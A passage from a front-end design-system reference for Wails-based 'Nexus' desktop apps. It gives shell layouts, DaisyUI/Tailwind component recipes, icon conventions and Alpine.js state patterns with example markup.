• Artifact tree (w-56): grouped list of generated artifacts (documents, epics → stories nested, notes, timeline, comms). Each group has an uppercase section header.
• Main switches content per active phase via x-show="$store.reqflow.phase === N".

Shell chrome (apply to both archetypes)

• Dragging the window uses the class wails-drag (with CSS --wails-draggable: drag;). Put it on the topmost header bar.
• Body: bg-base-100 text-base-content, overflow-hidden, root is h-screen flex (horizontal shells) or h-screen flex flex-col (vertical shells).
• Panels: bg-base-200/50, borders via border-base-300. Don’t invent new panel backgrounds.
• Transitions for panel enter/exit:

  x-transition:enter="transition ease-out duration-150"
  x-transition:enter-start="opacity-0 -translate-x-2"
  x-transition:enter-end="opacity-100 translate-x-0"
  

  150ms ease-out, 8px slide + fade. Use translate-x-2 for right-side panels entering from the right.

Component recipes (memorize these)

Buttons

• Primary action: btn btn-primary btn-sm
• Secondary/tertiary: btn btn-ghost btn-sm (common) or btn btn-outline btn-sm
• Icon-only square: btn btn-ghost btn-sm btn-square (toolbar), btn btn-ghost btn-xs btn-square (in-row)
• Destructive inline: btn btn-ghost btn-xs btn-square hover:text-error or ... text-error
• Inside a button: icon first (<i class="fa-solid fa-... text-xs">), then a label span. Loading state swaps icon for <span class="loading loading-spinner loading-xs">.
• Size ladder: btn-xs (dense toolbars, in-row actions) → btn-sm (default) → btn (rare, page-level CTA).

Nav/list items (active/hover pattern)

Reused across the agent nav, session list, artifact tree, and file list:

<button
  class="w-full flex items-center gap-3 px-3 py-2.5 rounded-lg transition-colors text-left group"
  :class="isActive
    ? 'bg-primary/15 text-primary'
    : 'hover:bg-base-300 text-base-content/70 hover:text-base-content'">
  <div class="w-8 h-8 rounded-lg flex items-center justify-center"
       :class="isActive ? 'bg-primary/20' : 'bg-base-300'">
    <i class="fa-solid fa-icon text-sm"></i>
  </div>
  <div class="min-w-0 flex-1">
    <div class="text-sm font-medium truncate">Label</div>
    <div class="text-xs opacity-50 truncate">Sub-label</div>
  </div>
</button>

Status dots

<div class="w-2.5 h-2.5 rounded-full border-2 border-base-200"
     :class="{
       'bg-success': status === 'running',
       'bg-warning animate-pulse': status === 'booting',
       'bg-error': status === 'error'
     }"></div>

Small-size variant for list rows: w-1.5 h-1.5 rounded-full.

Cards

<div class="card bg-base-200 border border-base-300 hover:border-primary/40 transition-colors">
  <div class="card-body p-4">...</div>
</div>

Badges

• Count/label: badge badge-sm
• Semantic: badge-success, badge-warning, badge-error, badge-primary, badge-ghost
• Tiny inline: badge badge-xs

Inputs

• Text: input input-bordered input-sm w-full
• Textarea: textarea textarea-bordered w-full text-sm (add min-h-[7rem] for multi-line prompts)
• Select: select select-bordered select-sm w-full
• Toggle: input type="checkbox" class="toggle toggle-primary toggle-sm"
• Secret (password): same input, add an eye-toggle button absolutely positioned right (absolute right-2 top-1/2 -translate-y-1/2 btn btn-ghost btn-xs btn-circle).
• Invalid/required: add input-warning class when the field is required and empty.

Alerts

• Error: alert alert-error py-2 text-sm with leading <i class="fa-solid fa-triangle-exclamation"></i>
• Warning/missing-config: alert alert-warning
• Inline error under a form: text-xs text-warning with <i class="fa-solid fa-circle-exclamation">

Empty states

<div class="flex items-center justify-center h-full">
  <div class="text-center max-w-sm">
    <div class="w-16 h-16 rounded-2xl bg-primary/10 flex items-center justify-center mx-auto mb-4">
      <i class="fa-solid fa-icon text-primary text-2xl"></i>
    </div>
    <h2 class="text-lg font-semibold mb-1">Short headline</h2>
    <p class="text-sm opacity-60">One-sentence explainer with a call to action.</p>
  </div>
</div>

Compact variant for narrow panels: drop the icon tile to text-2xl opacity-20, text to text-xs opacity-40, center vertically in the panel.

Loading states

• Inline (inside a button): loading loading-spinner loading-xs
• Panel-level: loading loading-spinner loading-sm opacity-40
• Hero / boot overlay: loading loading-spinner loading-lg text-primary centered with a subtitle
• “Thinking…” dots: loading loading-dots loading-sm
• Full-screen boot overlay: absolute inset-0 flex items-center justify-center bg-base-100/80 z-10

Collapsible sections (settings)

DaisyUI collapse: collapse collapse-arrow bg-base-200 border border-base-300, with <input type="checkbox" checked> inside to drive state. Title row: collapse-title font-semibold flex items-center gap-2 with a leading icon.

Drag-and-drop

Drop overlay (appears while dragging):

<div class="absolute inset-0 z-20 bg-primary/10 border-2 border-dashed border-primary rounded-lg flex items-center justify-center pointer-events-none">
  <div class="text-center">
    <i class="fa-solid fa-cloud-arrow-up text-primary text-2xl mb-2"></i>
    <p class="text-sm font-medium text-primary">Drop files here</p>
  </div>
</div>

Persistent drop zone (phase 1 import style):

<div class="border-2 border-dashed border-base-300 rounded-xl p-8 text-center transition-all"
     :class="{ 'drop-active': dragOver }">
  <i class="fa-solid fa-cloud-arrow-up text-4xl text-base-content/20 mb-4 block"></i>
  <p class="text-base-content/40 mb-3">Drop markdown files here</p>
  <button class="btn btn-sm btn-primary">Browse Files</button>
</div>

Chat messages (agent conversation)

• User: right-aligned, bg-primary text-primary-content bubble, no avatar or avatar on the right
• Assistant: left-aligned, bg-base-200 bubble, avatar is w-8 h-8 rounded-full bg-primary/20 with fa-robot icon
• Note/annotation: bg-warning/10 border border-warning/20 bubble, fa-sticky-note avatar
• Max-width bubble: max-w-[75%] rounded-lg px-4 py-3
• Auto-scroll on new message via x-effect="$refs.chatScroll && ($refs.chatScroll.scrollTop = $refs.chatScroll.scrollHeight)"

Interaction rules

• Hover reveal: destructive or secondary actions inside list rows use opacity-0 group-hover:opacity-100 transition-opacity. Never show delete buttons unconditionally.
• Keyboard: chat textareas support @keydown.enter.meta="send()" and @keydown.enter.ctrl="send()" (Cmd/Ctrl+Enter). Show the hint as text-xs opacity-30 below the input.
• Required-field gating: when required settings are missing, show a alert alert-warning banner at the top of settings, and mark each missing field with an inline text-xs text-warning “Required” hint and input-warning class.
• Restart nudge: when a running agent has dirty settings, show badge badge-warning badge-xs “restart required” on the section and a btn btn-warning btn-sm at the bottom.

Data flow (so designs match reality)

• All agent domain communication flows through a scoped event bus bridge (createBus(agentID)), not Wails-bound methods. Your designs should assume async, event-driven updates — never blocking waits.
• The shell owns: agent lifecycle (boot/stop), sessions, settings, file dialogs, file browser, drag-and-drop.
• The agent owns: its own UI section, its own Alpine store, its own input/output events.
• State that survives session recall lives in ui.state.save/ui.state.restore events — designs should gracefully rehydrate partial state.

What NOT to do

• Don’t introduce a new CSS framework, component library, or JS framework. Alpine + Tailwind + DaisyUI is the entire toolbox.
• Don’t add light mode without checking first — everything assumes dark.
• Don’t invent new named colors. Stick to the DaisyUI semantic tokens.
• Don’t use raw gray scales (text-gray-500). Use opacity-* on text-base-content.
• Don’t add routing. Views switch via x-show against a single activeView string.
• Don’t design multi-page flows with URLs. Everything is SPA-style, single index.html.
• Don’t add modals/dialogs casually — the existing apps don’t use them. Use inline collapsibles, side panels, or dedicated views instead. If you need a confirm, use inline “Are you sure?” patterns.
• Don’t design for mobile or narrow widths. Desktop only, min width roughly 900×720.
• Don’t add animations beyond DaisyUI animate-pulse and the existing 150ms panel transitions. No hero scroll effects, no motion beyond utility.
• Don’t add icons from other sets — Font Awesome 6 solid only.

When proposing something new

If your design needs a component not listed above, say so explicitly and propose either (a) a DaisyUI component that isn’t yet used, or (b) a raw-Tailwind recipe that matches the existing visual weight. Flag it as a net-new primitive so we can decide whether to adopt it.

Quick reference — the 10 classes you’ll use constantly

Nexus Desktop Design System — Full Reference

Comprehensive reference for the Nexus desktop UI system. Derived from the shipped frontends at cmd/desktop/frontend/dist/index.html and cmd/techlead/frontend/dist/index.html, plus the shell framework at pkg/desktop/. Pair with design-system-brief.md for a shorter priming version.

1. Scope and context

Nexus ships desktop apps via Wails v2 — each app is a Go binary wrapping a webview. The webview loads a single index.html containing the entire UI. Two kinds of apps exist today:

• Multi-agent shells (reference: cmd/desktop) — host several domain-specific agents under one roof, each with its own UI section.
• Single-agent workflow apps (reference: cmd/techlead) — one agent, one workflow, typically organized as a phased progression.

Both share the same visual language, component vocabulary, and tech stack. A designer working on either should be able to port patterns between them without friction.

Integration with the engine

The UI does not directly “call” the agent. All domain communication flows through a scoped event bus bridge (createBus(agentID)) that wraps Wails event APIs. Every design should assume:

• Actions emit bus events; results arrive as inbound bus events (asynchronous).
• The shell (not the agent) owns file dialogs, the file browser, settings, and session management — these appear in UI via Wails-bound methods on the shell.
• UI state that must survive session recall is saved via ui.state.save events and rehydrated via ui.state.restore.

What doesn’t exist yet

• No light theme. Everything assumes data-theme="dark".
• No modals or dialog components are in use. New screens should avoid them unless explicitly requested.
• No routing library. Views switch via Alpine stores against activeView/phase number.
• No component library beyond DaisyUI. No icon set beyond Font Awesome 6 solid.
• No responsive/mobile layouts. Min window size ~900×720.

2. Tech stack

Everything is CDN-loaded; there is no bundler, no npm install, no TypeScript, no build step. A new frontend is one self-contained index.html.

3. Design tokens

3.1 Color tokens (DaisyUI semantic)

Never introduce raw gray scales. Use DaisyUI’s semantic tokens.

Opacity for hierarchy — the conventional ladder:

Common /N accent patterns:

3.2 Spacing scale

Follows Tailwind’s default 4px-based scale. Conventions observed:

3.3 Typography scale

All sizes come from Tailwind defaults. Do not use custom px.

Weight conventions: font-medium for item labels, font-semibold for headers, font-bold for h2 page titles.

Font family: Tailwind’s default sans-serif. font-mono for: file paths, artifact IDs (epic/story IDs like E-001), token counts, USD cost, code, raw markdown, session preview paths.

3.4 Radii

3.5 Shadows, transitions, motion

• Default transition on interactive surfaces: transition-colors.
• Panel enter/exit: transition ease-out duration-150 with an 8px slide + fade.
• Hover card: transition-shadow + hover:shadow-md on epic cards, hover:border-primary/40 elsewhere.
• Status pulse: animate-pulse on booting/running indicator dots.
• Loading spinner: DaisyUI loading loading-spinner, never custom keyframes.
• loading-dots for chat “thinking” indicator.
• No parallax, no hero scroll effects, no Framer Motion.

4. Shell archetypes

4.1 Multi-agent horizontal shell

┌─────┬──────────┬─────────────────────────┬────────┐
│ Nav │ Sessions │ Header (wails-drag)     │  Files │
│     │          ├─────────────────────────┤        │
│     │          │ Main content            │        │
│     │          │                         │        │
│     │          │                         │        │
└─────┴──────────┴─────────────────────────┴────────┘
  64px     256px    flex-1                    288px
  (coll.)  (cond.)                           (toggle)

Skeleton:

<body class="bg-base-100 text-base-content">
  <div x-data class="h-screen flex" x-init="$store.shell.init()">
    <nav class="nav-sidebar flex-shrink-0 bg-base-200 border-r border-base-300 flex flex-col h-full"
         :style="{ width: $store.shell.collapsed ? '64px' : '220px' }">...</nav>

    <aside x-show="activeAgent" class="flex-shrink-0 w-64 bg-base-200/50 border-r border-base-300 flex flex-col h-full">
      <!-- Sessions panel -->
    </aside>

    <div class="flex-1 flex flex-col min-w-0 h-full">
      <header class="px-6 py-3 border-b border-base-300 flex items-center gap-3 bg-base-100 wails-drag">...</header>
      <div class="flex-1 flex overflow-hidden relative">
        <main class="flex-1 overflow-hidden relative">...</main>
        <aside x-show="filesOpen" class="flex-shrink-0 w-72 bg-base-200/50 border-l border-base-300 flex flex-col h-full">
          <!-- File panel -->
        </aside>
      </div>
    </div>
  </div>
</body>

Key properties:

• body { overflow: hidden; } — the UI is not scrolled; individual panels manage their own overflow.
• Nav width animates via inline CSS transition: .nav-sidebar { transition: width 200ms ease; }.
• Nav collapse state is persisted in Alpine.store('shell').collapsed.
• Active-agent switch triggers lazy engine boot via window.go.desktop.Shell.EnsureAgentRunning(agentID).

4.2 Single-agent phased vertical shell

┌──────────────────────────────────────────────────┐
│ ①━②━③━④━⑤━⑥━⑦          [sessions] [⚙]         │  wails-drag
├──────────┬──────────┬────────────────────────────┤
│ Sessions │ Artifacts│ Main content              │
│ (toggle) │ tree     │                            │
│  224px   │  224px   │ flex-1                     │
│          │          │                            │
│          │          ├────────────────────────────┤
│          │          │ Bottom bar                 │
└──────────┴──────────┴────────────────────────────┘

Skeleton:

<div x-data class="h-screen flex flex-col" x-init="$store.reqflow.init()">
  <!-- Top phase stepper bar (wails-drag) -->
  <div class="wails-drag flex-shrink-0 bg-base-200 border-b border-base-300 px-6 py-3">
    <!-- phase chips + toolbar -->
  </div>

  <!-- Body -->
  <div class="flex-1 flex overflow-hidden">
    <aside x-show="showSessions" class="w-56 flex-shrink-0 bg-base-200/50 border-r border-base-300 p-3 overflow-y-auto flex flex-col">...</aside>
    <aside class="w-56 flex-shrink-0 bg-base-200/50 border-r border-base-300 p-3 overflow-y-auto">...</aside>
    <main class="flex-1 flex flex-col overflow-hidden">
      <div class="flex-1 overflow-y-auto p-6">...</div>
      <!-- Bottom action bar -->
      <div class="flex-shrink-0 border-t border-base-300 bg-base-200/50 px-6 py-3 flex items-center justify-between">...</div>
    </main>
  </div>
</div>

4.3 Window dragging

Wails exposes --wails-draggable: drag; as a CSS custom property. Apply via:

.wails-drag { --wails-draggable: drag; }

Put this on the topmost chrome surface only (header bar in horizontal shell, phase stepper bar in vertical shell). Don’t apply it to anything interactive — dragging steals click events.

5. Component catalog

5.1 Buttons

Button size ladder: btn-xs (toolbars, in-row) → btn-sm (default) → btn (rare; used only for page-level CTAs inside empty-state cards like hello-world’s “Say hello”).

Tab/segment group for mode switches (editor/preview):

<div class="btn-group">
  <button class="btn btn-xs" :class="mode === 'split' ? 'btn-active' : ''">
    <i class="fa-solid fa-columns"></i>
  </button>
  <button class="btn btn-xs" :class="mode === 'edit' ? 'btn-active' : ''">
    <i class="fa-solid fa-code"></i>
  </button>
  <button class="btn btn-xs" :class="mode === 'preview' ? 'btn-active' : ''">
    <i class="fa-solid fa-eye"></i>
  </button>
</div>

Button loading state: Swap icon for <span class="loading loading-spinner loading-xs mr-1"></span> while still showing the label.

5.2 Nav / list item

The single most reused pattern in the app. Same shape serves agent nav, session list, file list, artifact rows.

<button
  class="w-full flex items-center gap-3 px-3 py-2.5 rounded-lg transition-colors text-left group"
  :class="isActive
    ? 'bg-primary/15 text-primary'
    : 'hover:bg-base-300 text-base-content/70 hover:text-base-content'">

  <!-- Icon slot with optional status dot -->
  <div class="relative flex-shrink-0 w-8 h-8 rounded-lg flex items-center justify-center"
       :class="isActive ? 'bg-primary/20' : 'bg-base-300 group-hover:bg-base-100'">
    <i class="fa-solid fa-icon text-sm"></i>
    <div x-show="status !== 'idle'"
         class="absolute -bottom-0.5 -right-0.5 w-2.5 h-2.5 rounded-full border-2 border-base-200"
         :class="{
           'bg-success': status === 'running',
           'bg-warning animate-pulse': status === 'booting',
           'bg-error': status === 'error'
         }"></div>
  </div>

  <!-- Labels -->
  <div class="min-w-0 flex-1">
    <div class="text-sm font-medium truncate">Primary label</div>
    <div class="text-xs opacity-50 truncate">Secondary label</div>
  </div>
</button>

Density variants:

• Artifact tree rows (single-agent): px-2 py-1 rounded text-sm — smaller, no icon slot background.
• Nested list rows (stories under epics): pl-6 pr-2 py-0.5 rounded text-xs.
• Session list in multi-agent: uses the group pattern so a delete button appears on hover (opacity-0 group-hover:opacity-50 hover:!opacity-100).

5.3 Cards

Basic container card:

<div class="card bg-base-200 border border-base-300 hover:border-primary/40 transition-colors">
  <div class="card-body p-4">
    <!-- content -->
  </div>
</div>

Grid of cards (epics):

<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
  <div class="card bg-base-200 shadow-sm cursor-pointer hover:shadow-md transition-shadow">
    <div class="card-body p-4">
      <div class="flex items-center gap-2 mb-1">
        <span class="badge badge-primary badge-sm font-mono">E-001</span>
        <h3 class="card-title text-sm">Epic title</h3>
      </div>
      <p class="text-xs text-base-content/50 line-clamp-3">Description excerpt...</p>
      <div class="card-actions justify-end mt-2">
        <span class="text-xs text-base-content/30">5 stories</span>
      </div>
    </div>
  </div>
</div>

Candidate/ranked-result card:

<div class="card bg-base-200 border border-base-300 hover:border-primary/40 transition-colors">
  <div class="card-body p-4">
    <div class="flex items-start gap-3">
      <div class="shrink-0 w-10 h-10 rounded-full bg-primary/10 text-primary flex items-center justify-center font-semibold text-sm">1</div>
      <div class="flex-1 min-w-0">
        <div class="flex items-center gap-2 mb-1">
          <span class="font-semibold text-base truncate">Jane Doe</span>
          <span class="badge badge-sm badge-success">0.92</span>
        </div>
        <p class="text-sm opacity-80">Reasoning...</p>
        <div class="mt-2 text-xs opacity-40 font-mono">/path/to/resume.pdf</div>
      </div>
    </div>
  </div>
</div>

5.4 Badges

Score badges in candidate cards are threshold-driven:

c.Score >= 0.85 ? 'badge-success' : c.Score >= 0.7 ? 'badge-warning' : 'badge-ghost'

5.5 Forms

Text input (small default):

<input type="text" class="input input-bordered input-sm w-full">

Required + empty: add input-warning, with inline hint:

<div x-show="field.required && !hasValue()" class="text-xs text-warning mb-1">
  <i class="fa-solid fa-circle-exclamation"></i> Required
</div>

Number:

<input type="number" class="input input-bordered input-sm w-full"
       :min="field.validation?.min" :max="field.validation?.max">

Textarea:

<textarea class="textarea textarea-bordered w-full min-h-[7rem] text-sm leading-snug" rows="5"></textarea>

Variants: textarea-sm for dense settings; add font-mono text-sm leading-relaxed resize-none for markdown/spec editors.

Select:

<select class="select select-bordered select-sm w-full">
  <option value="...">Label</option>
</select>

Toggle:

<input type="checkbox" class="toggle toggle-primary toggle-sm">

Secret (password) with visibility toggle:

<div class="relative flex-1">
  <input :type="showSecret ? 'text' : 'password'"
         class="input input-bordered input-sm w-full pr-10"
         :placeholder="hasValue() ? '********' : 'Enter value...'"
         @change="saveSecret($event.target.value); $event.target.value = ''">
  <button class="absolute right-2 top-1/2 -translate-y-1/2 btn btn-ghost btn-xs btn-circle"
          @click="showSecret = !showSecret">
    <i class="fa-solid text-xs" :class="showSecret ? 'fa-eye-slash' : 'fa-eye'"></i>
  </button>
</div>

Secret inputs never bind :value — they show placeholder ******** when a value exists, and only commit on @change, clearing the DOM input after save so the raw value never lingers in the DOM.

Path input + browse:

<div class="flex gap-2">
  <input type="text" class="input input-bordered input-sm flex-1"
         :value="currentValue()" @change="save($event.target.value)">
  <button class="btn btn-ghost btn-sm" @click="browse()">
    <i class="fa-solid fa-folder-open text-xs"></i> Browse
  </button>
</div>

The browse() handler calls window.go.desktop.Shell.PickFolder(...) or PickFile(...).

Form label + description:

<label class="block text-sm font-medium mb-1">Display name</label>
<div class="text-xs opacity-50 mb-2">Optional description.</div>

5.6 Alerts

Standard error shape:

<div class="alert alert-error py-2 text-sm">
  <i class="fa-solid fa-triangle-exclamation"></i>
  <span>Error message</span>
</div>

5.7 Collapsible sections (settings)

DaisyUI collapse with arrow, open by default:

<div class="collapse collapse-arrow bg-base-200 border border-base-300">
  <input type="checkbox" checked>
  <div class="collapse-title font-semibold flex items-center gap-2">
    <i class="fa-solid fa-sliders text-sm opacity-60"></i>
    Section title
    <span class="badge badge-warning badge-xs ml-2">restart required</span>
  </div>
  <div class="collapse-content space-y-4">
    <!-- fields -->
  </div>
</div>

Highlight a collapse when it has missing required fields: :class="missingRequired ? 'border-warning' : ''".

5.8 Empty states

Primary pattern (main content area):

<div class="flex items-center justify-center h-full">
  <div class="text-center max-w-sm">
    <div class="w-16 h-16 rounded-2xl bg-primary/10 flex items-center justify-center mx-auto mb-4">
      <i class="fa-solid fa-magnifying-glass text-primary text-xl"></i>
    </div>
    <h2 class="text-lg font-semibold mb-1">No matches yet</h2>
    <p class="text-sm opacity-60">Upload a PDF and click Find matches.</p>
  </div>
</div>

Muted variant (used in phases 1–7 of single-agent shell): drops the tinted icon tile and uses a large low-opacity glyph:

<div class="flex-1 flex items-center justify-center">
  <div class="text-center text-base-content/30 max-w-md">
    <i class="fa-solid fa-file-code text-4xl mb-4 block"></i>
    <p class="font-medium mb-2">No specification yet</p>
    <p class="text-sm mb-4">Generate from your PRD and discussion notes.</p>
    <button class="btn btn-primary btn-sm"><i class="fa-solid fa-wand-magic-sparkles mr-1"></i> Generate Spec</button>
  </div>
</div>

Compact (narrow panels, file list empty):

<div class="text-center">
  <i class="fa-solid fa-file-circle-plus text-2xl opacity-20 mb-2"></i>
  <p class="text-xs opacity-40">No files found</p>
  <p class="text-xs opacity-30 mt-1">Drop files here or add to input folder.</p>
</div>

5.9 Loading states

Boot overlay (covers a section while the engine is starting):

<div x-show="status === 'booting'"
     x-transition
     class="absolute inset-0 flex items-center justify-center bg-base-100/80 z-10">
  <div class="text-center">
    <span class="loading loading-spinner loading-lg text-primary"></span>
    <p class="mt-3 text-sm opacity-60">Starting engine...</p>
  </div>
</div>

Generation overlay (long-running content creation):

<div class="flex-1 flex items-center justify-center">
  <div class="text-center">
    <span class="loading loading-spinner loading-lg text-primary"></span>
    <p class="mt-4 text-base-content/60">Generating timeline estimates...</p>
    <p class="text-sm text-base-content/30 mt-1">Analyzing epics and stories</p>
  </div>
</div>

5.10 Chat / conversation

Layout:

<div class="flex gap-3" :class="msg.role === 'user' ? 'justify-end' : ''">
  <!-- Avatar (non-user only) -->
  <div x-show="msg.role !== 'user'"
       class="w-8 h-8 rounded-full flex items-center justify-center flex-shrink-0"
       :class="msg.role === 'note' ? 'bg-warning/20' : 'bg-primary/20'">
    <i class="text-xs" :class="msg.role === 'note'
      ? 'fa-solid fa-sticky-note text-warning'
      : 'fa-solid fa-robot text-primary'"></i>
  </div>
  <!-- Bubble -->
  <div class="max-w-[75%] rounded-lg px-4 py-3"
       :class="{
         'bg-primary text-primary-content': msg.role === 'user',
         'bg-base-200': msg.role === 'assistant',
         'bg-warning/10 border border-warning/20': msg.role === 'note'
       }">
    <div x-show="msg.role === 'note'" class="text-xs font-semibold text-warning/70 mb-1">Technical Note</div>
    <div class="text-sm whitespace-pre-wrap doc-preview" x-text="msg.content"></div>
  </div>
  <!-- Avatar (user) -->
  <div x-show="msg.role === 'user'"
       class="w-8 h-8 rounded-full bg-primary/20 flex items-center justify-center flex-shrink-0">
    <i class="fa-solid fa-user text-xs text-primary"></i>
  </div>
</div>

Auto-scroll to bottom:

<div x-ref="chatScroll"
     x-effect="$refs.chatScroll && ($refs.chatScroll.scrollTop = $refs.chatScroll.scrollHeight)"
     class="flex-1 overflow-y-auto space-y-4 mb-4 pr-2">...</div>

Chat input with Cmd/Ctrl+Enter send:

<div class="flex gap-2">
  <textarea class="textarea textarea-bordered flex-1 text-sm" rows="2"
            placeholder="..."
            @keydown.enter.meta="send()" @keydown.enter.ctrl="send()"></textarea>
  <button class="btn btn-primary btn-sm self-end">
    <i class="fa-solid fa-paper-plane"></i>
  </button>
</div>
<div class="text-xs text-base-content/30 mt-1">Cmd+Enter to send</div>

5.11 Phase stepper

<div class="flex items-center gap-1">
  <template x-for="phase in phases" :key="phase.number">
    <div class="flex items-center">
      <button class="phase-step flex items-center gap-2 px-3 py-1.5 rounded-lg text-sm font-medium transition-colors"
        :class="{
          'active bg-primary text-primary-content': phase.number === current,
          'bg-success/20 text-success': phase.number < current,
          'text-base-content/40 cursor-default': phase.number > current
        }"
        :disabled="phase.number > current"
        @click="phase.number < current && goToPhase(phase.number)">
        <span class="w-5 h-5 rounded-full flex items-center justify-center text-xs font-bold"
              :class="{
                'bg-primary-content/20': phase.number === current,
                'bg-success/30': phase.number < current,
                'bg-base-300': phase.number > current
              }"
              x-text="phase.number < current ? '✓' : phase.number">
        </span>
        <span x-text="phase.label" class="hidden sm:inline"></span>
      </button>
      <div x-show="phase.number < phases.length"
           class="w-4 h-0.5 mx-0.5"
           :class="phase.number < current ? 'bg-success/40' : 'bg-base-300'"></div>
    </div>
  </template>
</div>

Supporting CSS:

.phase-step { transition: all 200ms ease; }
.phase-step.active { transform: scale(1.05); }

Rules:

• Future phases are disabled, cursor-default, at 40% opacity.
• Completed phases are green (bg-success/20 text-success) with a ✓.
• Active phase is primary-filled and slightly scaled up.
• Connectors between steps mirror step state.

5.12 Drag-and-drop

Overlay on a panel while dragging:

<aside @dragover.prevent="dragOver = true"
       @dragleave.prevent="dragOver = false"
       @drop.prevent="handleDrop($event)"
       class="relative ...">
  <div x-show="dragOver" x-transition
       class="absolute inset-0 z-20 bg-primary/10 border-2 border-dashed border-primary rounded-lg flex items-center justify-center pointer-events-none">
    <div class="text-center">
      <i class="fa-solid fa-cloud-arrow-up text-primary text-2xl mb-2"></i>
      <p class="text-sm font-medium text-primary">Drop files here</p>
    </div>
  </div>
</aside>

Persistent drop zone (centerpiece of a page):

<div x-data="{ dragOver: false }"
     class="border-2 border-dashed border-base-300 rounded-xl p-8 text-center transition-all"
     :class="{ 'drop-active': dragOver }"
     @dragover.prevent="dragOver = true"
     @dragleave.prevent="dragOver = false"
     @drop.prevent="dragOver = false; handleDrop($event)">
  <i class="fa-solid fa-cloud-arrow-up text-4xl text-base-content/20 mb-4 block"></i>
  <p class="text-base-content/40 mb-3">Drop markdown files here</p>
  <button class="btn btn-sm btn-primary"><i class="fa-solid fa-folder-open mr-1"></i> Browse Files</button>
  <p class="text-xs text-base-content/30 mt-3">Supports .md, .markdown, .txt</p>
</div>

Supporting CSS (drop-active emphasis):

.drop-active {
  border-color: oklch(var(--p)) !important;
  background-color: oklch(var(--p) / 0.05);
}

5.13 Markdown preview

Content rendered via doc-preview class gets basic markdown styling:

.doc-preview h1 { font-size: 1.5rem; font-weight: 700; margin: 1rem 0 0.5rem; }
.doc-preview h2 { font-size: 1.25rem; font-weight: 600; margin: 0.75rem 0 0.5rem; }
.doc-preview h3 { font-size: 1.1rem; font-weight: 600; margin: 0.5rem 0 0.25rem; }
.doc-preview p { margin: 0.25rem 0; }
.doc-preview ul, .doc-preview ol { padding-left: 1.5rem; margin: 0.25rem 0; }
.doc-preview li { margin: 0.1rem 0; }
.doc-preview code { background: oklch(var(--b3)); padding: 0.1rem 0.3rem; border-radius: 0.25rem; font-size: 0.875rem; }
.doc-preview pre { background: oklch(var(--b3)); padding: 0.75rem; border-radius: 0.5rem; overflow-x: auto; }
.doc-preview pre code { background: none; padding: 0; }
.doc-preview hr { border-color: oklch(var(--bc) / 0.1); margin: 1rem 0; }
.doc-preview blockquote { border-left: 3px solid oklch(var(--bc) / 0.2); padding-left: 1rem; opacity: 0.8; }

Use oklch(var(--*)) to reference DaisyUI theme variables directly: --p (primary), --b3 (base-300), --bc (base-content), etc. This is the only place in the system where CSS custom property access is routine.

5.14 Split editor / preview

Three-mode toggle (split/edit/preview) + synchronized textarea and preview pane:

<div class="flex-1 flex gap-4 min-h-0 overflow-hidden">
  <div x-show="viewMode !== 'preview'"
       class="flex-1 flex flex-col min-h-0"
       :class="viewMode === 'split' ? 'max-w-[50%]' : ''">
    <div class="flex items-center justify-between mb-2">
      <span class="text-xs font-semibold text-base-content/50 uppercase tracking-wider">Editor</span>
      <span x-show="dirty" class="text-xs text-warning">
        <i class="fa-solid fa-circle text-[6px] mr-1"></i>Unsaved
      </span>
    </div>
    <textarea class="textarea textarea-bordered flex-1 font-mono text-sm leading-relaxed resize-none"
              x-model="editContent"
              @input="dirty = true"
              @blur="saveEdit()"
              @keydown.meta.s.prevent="saveEdit()"
              @keydown.ctrl.s.prevent="saveEdit()"></textarea>
  </div>
  <div x-show="viewMode !== 'edit'"
       class="flex-1 flex flex-col min-h-0"
       :class="viewMode === 'split' ? 'max-w-[50%]' : ''">
    <div class="flex items-center mb-2">
      <span class="text-xs font-semibold text-base-content/50 uppercase tracking-wider">Preview</span>
    </div>
    <div class="flex-1 overflow-y-auto bg-base-200 rounded-lg p-4 doc-preview">
      <div x-html="renderPreview()"></div>
    </div>
  </div>
</div>

5.15 Bottom action bar (single-agent only)

<div class="flex-shrink-0 border-t border-base-300 bg-base-200/50 px-6 py-3 flex items-center justify-between">
  <span x-show="status" x-text="status" class="text-sm text-base-content/60"></span>
  <button class="btn btn-sm btn-outline" :disabled="phase >= phases.length" @click="advance()">
    Next Phase <i class="fa-solid fa-chevron-right ml-1"></i>
  </button>
</div>

5.16 Copy-to-clipboard button

<button class="btn btn-ghost btn-xs" @click="copyToClipboard()">
  <i class="fa-solid fa-copy mr-1"></i>
  <span x-text="copied ? 'Copied!' : 'Copy'"></span>
</button>

Toggle the copied flag to true for ~1.5s after success, then reset.

5.17 Tabs (in-content)

The comms phase uses a button-row “tabs” pattern rather than DaisyUI’s tabs component:

<div class="flex gap-1 mb-3 flex-shrink-0">
  <template x-for="item in items" :key="item.template">
    <button class="btn btn-xs"
            :class="selected === item.template ? 'btn-primary' : 'btn-ghost'"
            @click="selected = item.template"
            x-text="item.title"></button>
  </template>
</div>

6. Font Awesome icon inventory

Every icon that appears in the shipped apps, grouped by role. Use these first before reaching for alternatives.

App/brand: fa-bolt (Nexus logo)

Nav/chrome: fa-gear, fa-angles-left, fa-angles-right, fa-xmark, fa-plus, fa-chevron-right, fa-arrow-left, fa-rotate-right, fa-arrows-rotate

Files: fa-folder-open, fa-folder, fa-folder-plus, fa-file, fa-file-lines, fa-file-code, fa-file-circle-plus, fa-paperclip, fa-cloud-arrow-up, fa-arrow-up-right-from-square (open external)

Chat / communication: fa-comments, fa-paper-plane, fa-robot, fa-user, fa-sticky-note, fa-bullhorn

Generation / action: fa-wand-magic-sparkles, fa-magnifying-glass, fa-copy

Workflow: fa-layer-group (epics), fa-list-check (stories), fa-calendar-days (timeline)

Settings/fields: fa-sliders, fa-eye, fa-eye-slash, fa-trash-can, fa-circle-exclamation, fa-triangle-exclamation, fa-circle (tiny marker dot)

Edit/view mode toggle: fa-code, fa-columns, fa-eye

Session / history: fa-clock-rotate-left

Always fa-solid (solid style). All icons are the free tier — don’t introduce Pro-only glyphs. Sizing is driven by the wrapping element, not fa-* size classes; use text-xs, text-sm, text-lg, text-2xl, text-4xl on the <i>.

7. State management patterns

Alpine stores are the state spine. No Redux, no Pinia, no context API.

7.1 Store declaration

document.addEventListener('alpine:init', () => {
  Alpine.store('storename', {
    // reactive state
    items: [],
    loading: false,

    // methods
    async init() { ... },
    async load() { ... },
  });
});

7.2 Scoped bus bridge

Every agent’s UI talks to its engine via createBus(agentID) — a thin wrapper over Wails events with scoping:

const bus = createBus('agent-id');
bus.emit('domain.request', { data });
bus.on('domain.result', (payload) => { /* handle */ });
bus.off('domain.result', handler);
